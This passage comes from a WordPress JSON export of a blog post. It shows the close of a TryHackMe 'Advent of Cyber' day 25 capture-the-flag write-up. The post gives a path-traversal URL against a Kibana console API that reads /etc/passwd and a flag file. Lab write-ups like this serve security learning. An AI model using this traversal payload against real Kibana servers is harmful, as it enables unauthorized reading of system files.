data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/passwd-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-3002\" title=\"Advent of Cyber days25 THM\u63d2\u56fe105\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe105\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We just read the content from \/etc\/passwd. This vulnerable is valid. As for the flag, it is located at the root file system (Not in the \/root directory).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&lt;machine IP>:5601\/api\/console\/api_server?sense_version=@@SENSE_VERSION&amp;apis=..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/root.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/flag-3.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-3003\" title=\"Advent of Cyber days25 THM\u63d2\u56fe106\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe106\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It is hard to locate the flag as it only contains a few letters. Well, actually there are other ways by using the console.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This is it, congratulation on completing all 24 tasks. What a challenge! A big thanks to the THM and the task creators who create those challenges we didn\u2019t deserve for. Good job and keep on keeping on, I look forward to the next cyber advent challenge. Until next time ^^ and happy new year.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Good day and merry Christmas, welcome to another THM CT [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-203","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/203","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=203"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/203\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=203"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=203"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=203"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}